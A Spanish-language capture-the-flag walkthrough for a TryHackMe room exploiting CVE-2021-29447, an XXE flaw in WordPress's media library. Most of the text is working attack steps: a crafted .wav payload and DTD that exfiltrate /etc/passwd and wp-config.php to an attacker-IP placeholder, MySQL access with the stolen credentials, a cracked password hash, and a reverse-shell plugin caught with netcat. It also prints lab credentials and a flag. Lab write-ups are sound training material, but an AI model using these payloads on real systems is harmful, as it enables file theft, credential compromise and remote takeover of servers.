Una vulnerabilidad XXE (XML external entity injection o Inyección de entidad XML externa) permite a un atacante interferir con el procesamiento de datos XML que realiza una aplicación.

Se consigue aprovechando una configuración pobre del intérprete XML. Eso permite incluir entidades externas, permitiendo atacar aplicaciones que interpretan lenguaje XML en sus parámetros.

Vamos a explorar una vulnerabilidad XXE reciente, aunque es una que viene con matices situacionales.

La firma de seguridad SonarSource descubrió un fallo de este tipo en la Biblioteca de Medios de Wordpress.

Puede ser explotada cuando Worpress corre sobre PHP 8 y el atacante tiene permisos para subir archivos.

Su impacto es que permite:

  • Revelación arbitraria de archivos: Se pueden recuperar los contenidos de cualquier archivo del sistema anfitrión, por ejemplo, wp-config.php, que contiene información sensible como credenciales de bases de datos.
  • Server-Side Request Forgery (SSRF): pueden hacerse peticiones HTTP en nombre de la instalación Wordpress. Dependiendo del entorno, esto puede tener un impacto serio.

Explotando la vulnerabilidad

Un sitio Wordpress con esta vulnerabilidad ha sido identificado por la herramienta WPScan.

Sitio Wordpress vulnerable detectado

En este ejemplo, hemos identificado que el autor usa credenciales débiles y tenemos su usuario (test-corp) y la contraseña (test).

Entramos y vemos que el usuario puede subir archivos de medios. Podemos usar esto para subir una shell inversa.

Creando un archivo .wav malicioso

Esta parte es sencilla, en la terminal, tecleamos:

nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Obviamente, hemos de sustituir las parte YOURSEVERIP:PORT por nuestra IP de ataque y un número de puerto.

Vemos cómo hace referencia a un archivo NAMEEVIL.dtd que tenemos que crear ahora. Para eso, lo creamos con un editor de texto y pegamos el siguiente código.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

Como se puede ver, estamos pidiendo el archivo /etc/passwd y codificándolo para exfiltrarlo.

Una vez eso, debemos lanzar un servidor HTTP en el directorio en el que hayamos creado el archivo dtd.

Podemos hacerlo con esta opción propuesta por el autor, que usa PHP y que precisaremos porque luego vamos usar el registro del servidor. El 0.0.0.0 es para que sea accesible desde cualquier interfaz:

php -S 0.0.0.0:Puerto

Si no tenemos instalado PHP en nuestro Debian/Ubuntu, hacemos lo siguiente:

sudo apt install php

El siguiente paso es subir el archivo .wav malicioso a Wordpress.

Tras eso, veremos la siguiente petición HTTP en nuestro registro del servidor.

Registro del servidor PHP

A fin de exfiltrar datos de manera efectiva, hemos usado codificación Zlib.

Para practicar (y como ejemplo), vamos a usar PHP para decodificar lo de arriba. Para eso, creamos un archivo .php con el siguiente código.

Asegurémonos de pegar toda la ristra de arriba donde pone «base64here».

<?php echo zlib_decode(base64_decode('base64here')); ?>

Ahora corremos el archivo php con el siguiente comando:

php archivo.php

Archivo decodificado

De manera similar, podemos apoyarnos en otras librerías de codificación base64 durante la creación del archivo .dtd, como las siguientes:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://IP_Ataque:Puerto/?p=%file;'>" >

También podemos decodificar desde la terminal:

echo "tochodebase64aquí" | base64 -d

Practicando todo esto

Vamos a tratar de comprometer el servidor de la habitación usando lo que hemos visto.

La tarea es usar lo anterior para comprometer la máquina. Así que debemos usar la vulnerabilidad CVE-2021-29447 para leer el archivo de configuración de Wordpress.

Es decir, wp-config.php.

Vamos paso a paso. Si visitamos la IP que nos dan, es un Wordpress normal y corriente. A priori no vemos credenciales, pero probando las que nos daban antes (test-corp:test), funciona y accedemos al área de administración.

Ahora, debemos crear el archivo malicioso payload.wav, cuidándome de poner mi IP y un puerto adecuado en la parte correspondiente. En este caso, abro el puerto 4444, por ejemplo.

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://IP_Ataque:4444/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Y lo subimos a Wordpress desde la biblioteca de medios.

Ahora debo crear evil.dtd (ya me podría haber molestado en cambiar eso, pero no). Abro un editor de texto y pego lo que hay más abajo. Me aseguro de nuevo de poner bien mi IP, el puerto y de pedir el archivo wp-config.php, ojo al ../wp-config.php.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://IP_Ataque:4444/?p=%file;'>" >

Una vez hecho eso, activo el servidor web con php.

php -S 0.0.0.0:4444

Cuando subo el archivo, el servidor web que acabo de iniciar, me da una respuesta codificada como la siguiente.

Respuesta del servidor a la subida

Bien, ahora, recordemos que hay que decodificar con php, así que copiamos toda la ristra de la respuesta que hay detrás de /?p= y hasta el final, hasta el último = que hay antes de - No such file or directory.

Ahora, abrimos un editor de texto, pegamos la instrucción de abajo y después toda la ristra anterior en el lugar de base64here:

<?php echo zlib_decode(base64_decode('base64here')); ?>

Guardamos como config.php o lo que se nos ocurra, tiene que ser un archivo php.

Ahora lo ejecutamos:

php config.php

Y nos aparecen los datos de wp-config.php con las respuestas a las preguntas.

¿Cuál es el nombre de la base de datos de Wordpress?

wordpressdb2

¿Cuáles son las credenciales? (usuario:contraseña)

thedarktangent:sUp3rS3cret132

Enumera e identifica cuál es el dbms (database management system) instalado en el servidor.

mySQL

¿Cuál es la versión de ese dbms que corre en el servidor? (nos vamos a tener que identificar en MySQL para saberlo, recordar que hay que tener instalado el cliente de MySQL, pero también el paquete mysql-server o dará error).

mysql -h 10.10.220.43 -u darktangent -p

Ponemos la contraseña cuando nos la pida, es importante no pegarla después de -p para que no se nos quede en la historia de *bash*.

Una vez dentro, nos recibe con el número de versión en el mensaje de bienvenida.

5.7.33

¿En qué puerto está corriendo el dbms? (Nos ha conectado sin tener que especificarlo antes usando la opción -P, así que está en el puerto por defecto de MySQL)

3306

Ahora vamos a comprometer el dbms y nos pregunta cuál es la contraseña encriptada en la tabla users con el id 1. Una vez dentro de MySQL, ejecutamos estas órdenes en la consola.

SHOW databases # Nos aparecen las bases de datos
USE wordpressdb2 # Entramos en la que queremos
SHOW tables # mostramos las tablas que hay, nos interesa wptry_users
SELECT * FROM wptry_users # Nos muestra 2 usuarios

Nos aparece la respuesta del usuario 1 que es corp-001, así que la copiamos:

$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1

¿Cuál es la contraseña en texto plano? (Por desgracia, hashes.com o Crackstation no la tienen, tocará hacerlo a mano).

Pegamos el hash en un archivo hash.txt y con:

john hash.txt

Sale enseguida la contraseña:

teddybear

Ahora hemos de comprometer la máquina y localizar la bandera flag.txt.

Vamos a hacer lo básico, que es subir una webshell inversa en php a un archivo de plantilla del tema de Wordpress, como por ejemplo 404.php.

Me identifico en el Wordpress vulnerable con las credenciales de administrador que he conseguido, para así tener capacidad de modificar todo.

Me voy a la webshell, de Pentestmonkey, copio el código en un editor de texto y cambio IP y puerto a los míos. Voy a hacerlo con el 4445 y abrir dicho puerto con un escuchador Netcat.

nc -lvnp 4445

Busco Appearance > Theme Edito y ahí elijo 404 template (404.php) para cambiar lo que hay en ese archivo php por mi webshell recién configurada en mi editor de textos.

Pulso en Update File y… No me deja. Joder, lo vamos a hacer mediante un plugin.

Para eso, guardo la webshell en un archivo plugin.php, pero debo modificarlo para añadir un encabezado y que Wordpress lo reconozca como plugin.

Así, justo debajo del <?php inicial de la webshell, pego lo siguiente.

Podemos poner los datos que queramos, no seamos tan tontos de poner nuestro nombre y nuestra web si no estamos en un entorno controlado y seguro, como Tryhackme…

<?php
/**`
`* Plugin Name: Shell inversa en plugin`
`* Plugin URI:`
`* Description: Shell inversa en plugin`
`* Version: 1.0`
`* Author: ZX81`
`* Author URI: http://www.hackingetigo.org`
`*/

Guardo el php y lo comprimo en zip para instalarlo en wordpress como plugin.

zip plugin.zip plugin.php

Ahora me voy a Plugins > Add new en Wordpress y subo el archivo zip. Cuando me diga que se ha instalado, debo pulsar en «Activate Plugin».

Y ya tengo consola en el servidor si me voy a mi escuchador Netcat. Me muevo por el único directorio de usuario que hay /home y que se llama stux, hasta que localizo la bandera.

thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}